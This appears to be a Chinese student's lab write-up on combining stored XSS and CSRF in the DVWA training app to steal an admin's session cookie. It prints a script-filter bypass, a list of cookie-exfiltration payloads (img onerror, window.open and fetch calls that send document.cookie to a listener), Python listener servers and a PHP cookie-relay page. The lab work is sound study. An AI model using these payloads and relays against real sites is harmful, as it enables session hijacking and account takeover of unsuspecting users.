CSRF和XSS傻傻分不清。。。但还好实践出真知
目录
(1)Name正则过滤script标签,Message过滤标签(绕过防护,实现XSS利用)
[①python flask起服务](#①python flask起服务)
[②python 简易http服务](#②python 简易http服务)
[③python 调http库](#③python 调http库)
[3. 一次误触的回显](#3. 一次误触的回显)
(1)chat一份接收转发请求中cookie字段的php页面
前言
综合利用XSS以及CSRF实现Cookie的泄露,,,旅程比较曲折
一、XSS与CSRF简要概述
1、XSS
跨站脚本攻击XSS(最全最细致的靶场实战)_xss靶场-CSDN博客
网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为"跨站脚本攻击"(Cross Site Scripting,安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容
攻击者利用XSS漏洞旁路掉访问控制------例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的"缓冲区溢出攻击",而JavaScript是新型的"ShellCode"。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
怎么更好地简单地理解呢------
意味着输入可以作为html代码嵌入在页面中,并可能被识别为标签、执行内嵌的JS代码。
所以XSS也被称为:HTML注入
2、CSRF
CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。
简单的说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))。因为浏览器之前认证过,所以被访问的站点会觉得这是真正的用户操作而去运行。
二、综合利用实现Cookie泄露
1、想定场景
Bob登录DVWA(先设置安全等级为High),在存储型xss漏洞页面添加留言:xxxxxxx。Admin登录(先设置安全等级为High),查看改留言后,cookie被bob获取。
注意,security等级均在High的情况下。
2、XSS漏洞点切入
(1)Name正则过滤script标签,Message过滤标签(绕过防护,实现XSS利用)
简单,不用script标签,我们可以用其他的,例如img
html
<img src=1 onerror=alert('2');>
有个trick------name有输入长度限制(前端以及后端sql长度),可以以下方式绕过前端的限制:
①用bp修改发送的请求
②直接F12把限制改了
然后效果:
成功出发了XSS
但是距离我们目标------让admin的cookie泄露,还有一段路要走。
(2)cookie传递方式思考
如何泄露,如何传递------考虑到类似DNS解析的方式,利用html标签中大量的src属性,如果我们开启一个http服务,由src属性或者其他具有http请求能力的标签,访问开启的http服务,拼接以cookie信息或者其他信息,就可以在服务日志获得这一参数。
①python flask起服务
html
# chat即可
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def receive_and_print():
# 获取所有的查询参数
args = request.args
print("Received GET request with the following parameters:")
for key, value in args.items():
print(f"{key}: {value}")
print(args)
return "Parameters received and printed on server console."
if __name__ == '__main__':
app.run(debug=True, port=8142)
②python 简易http服务
③python 调库
这里先不给出代码,留个悬念。实际上,这也是chat出来的,,关键是思路,要做什么。
(3)cookie泄露的尝试
ok,是不是呼之欲出了,把cookie值拼接在get参数中提交就ok了
于是写出几个xss payload
html
<script>window.open('http://192.168.119.166/cookie_rec.php?cookie='+document.cookie)</script>
<img src=1 onerror=window.open('http://127.0.0.1:8142?cookie='+document.cookie);>
<script>document.write('<img src="http://127.0.0.1:8412?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
<img src=1 onerror=document.write('<img src="http://127.0.0.1:8412?cookie='+document.cookie+'" width=0 height=0 border=0 />');
<img src='http://127.0.0.1:8142?cookie='+document.cookie onerror=alert('okk!!');>
<img src='http://127.0.0.1:8142?cookie='+btoa(document.cookie) onerror=alert('okk!!');>
<img src=1 onerror=alert('var cks=btoa(document.cookie)');> <img src='http://127.0.0.1:8142?cookie=${cks}' onerror=alert('okk!!');>
<img src="http://127.0.0.1:8142?cookie="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie)" onerror=alert('okk!!');/>
<img src=1 onerror=window.open('http://127.0.0.1:8142?cookie='+document.cookie)>
<img onerror=window.open("http://127.0.0.1:8142?id=123123"+document.cookie)>
<img src='http://127.0.0.1:8142?cookie=${PHPSESSID}' onerror=alert('okk!!');>
<p onclick="window.open('http://127.0.0.1:8142?cookie='+btoa(document.cookie));">xss</p>
<input onclick="window.open('http://127.0.0.1:8142?cookie='+document.cookie);">
<input onclick="fetch('http://127.0.0.1:8142?cookie='+document.cookie);">
<input onclick="window.open('http://127.0.0.1:8142?cookie='+document.PHPSESSID);">
<p onclick=document.write("fetch('http://127.0.0.1/DVWA-master/tests/recv_cookie.php?cookie='+document.cookie)") >php_xss_cookie_click</p>
嗯,都不对,都有问题。(其中一些错的很离谱,也可以看出本小白的基础多差。。)
①过滤的不只是script
例如
html
<img src=1 onerror=window.open('http://127.0.0.1:8142?cookie='+document.cookie);>
这样一个标签,看起来正常,但也是包含着下述构成,于是也被删了。。
html
/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
②稍带回来的cookie,只有security=High
WTF,我要这个搞鸡毛,session-id呢。。。。。。。
老师说和服务器有关系,确实如此,但cookie也还是没有
3. 一次误触的回显
当我写了一个接收回显的python程序时
python
from http.server import BaseHTTPRequestHandler, HTTPServer
# 创建一个处理 HTTP 请求的处理程序
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 设置响应状态码为 200 OK
self.send_response(200)
# 设置响应头
self.send_header('Content-type', 'text/plain')
self.end_headers()
# 打印请求头中的 Cookie 信息
if 'Cookie' in self.headers:
cookies = self.headers['Cookie']
self.wfile.write(f"Received Cookies: {cookies}".encode())
else:
self.wfile.write("No Cookies received".encode())
# 启动一个 HTTP 服务器,监听本地端口 8080
server_address = ('', 8142)
httpd = HTTPServer(server_address, RequestHandler)
print('Starting server on localhost:8080...')
httpd.serve_forever()
将其放到小皮目录下,通过浏览器新开页面尝试访问,却获得:
是的,竟然回显了PHPSESSID!!
回顾代码,代码是将请求头中的cookie字段在网页上回显,而之前的做法是让网页把自己保存的cookie作为内容捎带------实际上,cookie是存储在浏览器上的数据,这也是CSRF的重要思想之一。
当我们保持bob的登录状态时,用同一个浏览器访问其他页面,会稍带cookie在头部。
这很反我直觉,难道是同源?但是端口号不一样呀。。。。有点迷糊,这一点的具体原因和细节还得问问老师。
总而言之,我们可以通过这种方法获得cookie的值:保持用户登录状态,用同一个浏览器对开启服务访问时,http头的cookie值是我们需要的------那么我们就可以写一个php,将请求包的http中cookie字段中转给服务器------也就模拟了,另一个用户触发漏洞时,bob作为幕后黑手可以查看开启的http服务接收到的cookie。
php
<?php
// 获取所有接收到的 Cookie
$receivedCookies = $_COOKIE;
// 将接收到的 Cookie 转换为字符串形式
$requestCookieString = '';
foreach ($receivedCookies as $name => $value) {
$requestCookieString .= $name . '=' . $value . '; ';
}
// 初始化一个 cURL 对象
$ch = curl_init();
// 目标 URL
$url = 'http://127.0.0.1:8142';
// 设置请求头,包含接收到的 Cookie
$requestHeaders = array(
'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 设置请求头
// 执行请求并获取响应
$response = curl_exec($ch);
// 检查是否有错误发生
if(curl_errno($ch)) {
echo 'cURL 错误: ' . curl_error($ch);
} else {
// 输出响应
echo '收到的响应: ' . $response;
}
// 关闭 cURL 资源
curl_close($ch);
?>
三、完整利用过程
攻击者:Bob,账号smithy,利用xss和csrf
受害者:admin登录查看时cookie泄露
1、Bob的操作
(1)chat一份接收转发请求中cookie字段的php页面
php
<?php
// 获取所有接收到的 Cookie
$receivedCookies = $_COOKIE;
// 将接收到的 Cookie 转换为字符串形式
$requestCookieString = '';
foreach ($receivedCookies as $name => $value) {
$requestCookieString .= $name . '=' . $value . '; ';
}
// 初始化一个 cURL 对象
$ch = curl_init();
// 目标 URL
$url = 'http://127.0.0.1:8142';
// 设置请求头,包含接收到的 Cookie
$requestHeaders = array(
'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 设置请求头
// 执行请求并获取响应
$response = curl_exec($ch);
// 检查是否有错误发生
if(curl_errno($ch)) {
echo 'cURL 错误: ' . curl_error($ch);
} else {
// 输出响应
echo '收到的响应: ' . $response;
}
// 关闭 cURL 资源
curl_close($ch);
?>
放到可被访问的位置,小皮根目录下。
(2)chat一份接收请求并回显get传参cookie的值
python
from http.server import BaseHTTPRequestHandler, HTTPServer
# 创建一个处理 HTTP 请求的处理程序
class RequestHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
pass
def do_GET(self):
# 打印请求头中的 Cookie 信息
if 'Cookie' in self.headers:
cookies = self.headers['Cookie']
print(f"Received Cookies: {cookies}")
else:
print("No Cookies received")
# 发送响应
self.send_response(200)
self.end_headers()
self.wfile.write(b"Cookie information printed in the server's console")
# 启动一个 HTTP 服务器,监听本地端口 8080
server_address = ('', 8142)
httpd = HTTPServer(server_address, RequestHandler)
print('Starting server on localhost:8142...')
httpd.serve_forever()
后台跑起来
(3)XSS进行注入,让访问者请求设定的php页面
html
<input onclick="fetch('http://127.0.0.1/requests_csrf.php');">
2、Admin的访问点击
不小心点击了XSS(Store)的输入框
3、此时后台的Bob
成功拿到了admin的cookie
4、如果用edge访问(之前是firefox)
啧啧稍带出来了csrftoken------下一个实验环节(篡改账户密码)可以利用!
总结
虽然机缘巧合做出来了,但是其中具体细节还是有些迷糊。而且是否需要中转?是否有冗余步骤?emmm这都是需要和老师进一步探讨的。